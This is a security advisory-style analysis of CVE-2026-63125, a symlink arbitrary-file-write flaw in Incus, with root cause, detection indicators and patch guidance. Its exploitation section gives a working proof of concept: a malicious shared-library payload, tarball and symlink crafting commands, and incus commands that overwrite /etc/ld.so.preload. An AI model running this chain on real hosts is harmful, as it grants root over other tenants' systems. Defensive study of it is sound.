CVE-2026-63125: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-63125 is a critical arbitrary file write vulnerability in Incus (a system container and virtual machine manager) caused by improper symlink resolution during image unpacking and backup file writing. An unprivileged, project-confined user with image and instance creation rights can plant a backup.yaml symlink in a crafted image to redirect root-level file writes to arbitrary host paths, enabling full host compromise. The vulnerability affects all Incus versions prior to v7.3.0 and was fixed in v7.3.0 (and backported to Debian 13 as incus package version 6.0.4-2+deb13u9). It carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory). The advisory was published on July 30, 2026, by Incus maintainer Stéphane Graber (GitHub Advisory).

The root cause is improper symbolic link resolution (CWE-59, CWE-61) in two locations within the Incus daemon. First, during image unpacking (internal/server/storage/utils.go:608), archive.Unpack() extracts the metadata tarball into the instance directory but only guards against a rootfs symlink — all other tarball members, including a malicious backup.yaml symlink, are extracted verbatim. Second, UpdateInstanceBackupFile() in internal/server/storage/backend.go:6966-6967 opens backup.yaml via os.Create(filepath.Join(inst.Path(), "backup.yaml")) without O_NOFOLLOW or an Lstat check, causing the root daemon to follow the planted symlink and write attacker-influenced YAML content to an arbitrary host file. The fix confines the backup.yaml write to the instance root using os.Root-style confinement, as implemented in the security PR merged July 30, 2026 (GitHub PR #3750, GitHub Advisory).

Successful exploitation grants an attacker arbitrary code execution as root (uid=0) on the Incus host, constituting a complete multi-tenant privilege escalation. By pointing the backup.yaml symlink at /etc/ld.so.preload and embedding a malicious shared library in the image, the attacker causes every subsequent root-level process to load their payload. This compromises not only the host but all other tenants sharing the same Incus instance, with full confidentiality, integrity, and availability impact (GitHub Advisory).

A detailed proof-of-concept (PoC) was published alongside the advisory on July 30, 2026, demonstrating full RCE as root. The vulnerability is exploitable by any unprivileged, project-confined user holding can_create_images and can_create_instances rights — no admin privileges are required. The CVE status was listed as "Reserved" at time of Feedly ingestion, and no CISA KEV listing or EPSS score is currently available; however, the public PoC and critical severity make rapid weaponization a realistic concern (GitHub Advisory, Feedly).

1. Prepare malicious shared library: On an attacker-controlled machine, compile a constructor-based shared object (evil.so) that executes a payload (e.g., writes a proof file or establishes a reverse shell) when loaded by any process.

#include <stdio.h>
__attribute__((constructor)) static void p(void){
  FILE*f=fopen("/tmp/INCUS_RCE_PROOF","a");
  if(f){fprintf(f,"rce as uid=%d\n",getuid());fclose(f);}
}

gcc -shared -fPIC -o evil.so evil.c

2. Craft malicious image tarball: Unpack a legitimate Incus image metadata tarball, add evil.so, and replace backup.yaml with a symlink pointing to /etc/ld.so.preload.

mkdir m && cd m && tar xf ../base
cp ../evil.so .
ln -s /etc/ld.so.preload backup.yaml
tar cf ../evil-meta.tar metadata.yaml templates evil.so backup.yaml && cd ..

3. Import the malicious image: As the unprivileged project-confined user, import the crafted metadata tarball paired with a legitimate rootfs.

incus image import evil-meta.tar base.root --alias rce

4. Create an instance with the payload path: Initialize an instance from the malicious image, setting a user.* config key to the predictable host path of evil.so (e.g., /var/lib/incus/storage-pools/default/containers/tenant_pwn/evil.so).

incus init rce pwn -c user.foo="/var/lib/incus/storage-pools/default/containers/tenant_pwn/evil.so"

5. Trigger root file overwrite: The Incus daemon writes backup.yaml as root, follows the planted symlink, and overwrites /etc/ld.so.preload with YAML content that includes the user.foo value — the path to evil.so.
6. Achieve RCE: The next root-level process on the host loads evil.so via ld.so.preload, executing the attacker's payload as uid=0 (GitHub Advisory).

• File System:
  • Presence of /tmp/INCUS_RCE_PROOF or similar proof files created by a loaded shared library
  • /etc/ld.so.preload modified unexpectedly, containing paths pointing into Incus storage pool directories (e.g., /var/lib/incus/storage-pools/.../evil.so)
  • Unexpected .so files within Incus instance directories (e.g., /var/lib/incus/storage-pools/default/containers/<name>/evil.so)
  • backup.yaml within an instance directory that is a symbolic link rather than a regular file
• Logs:
  • Incus daemon logs showing backup.yaml write operations to unexpected paths
  • System logs (/var/log/syslog, journalctl) showing unusual shared library loads by root processes
• Process:
  • Unexpected processes spawned as uid=0 that are children of system daemons (e.g., incusd)
  • Unusual network connections originating from root-owned processes shortly after instance creation
• Network:
  • Outbound connections from the host to attacker-controlled infrastructure following image import and instance initialization (GitHub Advisory)

Upgrade Incus to v7.3.0 or later, which confines the backup.yaml write to the instance root directory using os.Root-style path confinement, preventing symlink traversal. Debian 13 users should update the incus package to 6.0.4-2+deb13u9 or later. No configuration-based workaround is available; the only effective remediation is patching. As an interim measure, restrict can_create_images and can_create_instances permissions to fully trusted users only until the patch can be applied (GitHub PR #3750, GitHub Advisory, Feedly).

The vulnerability was reported by security researcher Mickey777777 and remediated by Incus maintainer Stéphane Graber, who merged the fix on July 30, 2026, as part of a broader batch of 17 security commits for Incus 7.3 (GitHub PR #3750). The fix was also announced in the Incus 7.2.2 release blog post by Stéphane Graber (Incus Blog). AusCERT issued a bulletin (ESB-2026.8926) covering the vulnerability (AusCERT). Tenable published Nessus detection plugins (IDs 331529 and 331515) to identify vulnerable systems (Tenable).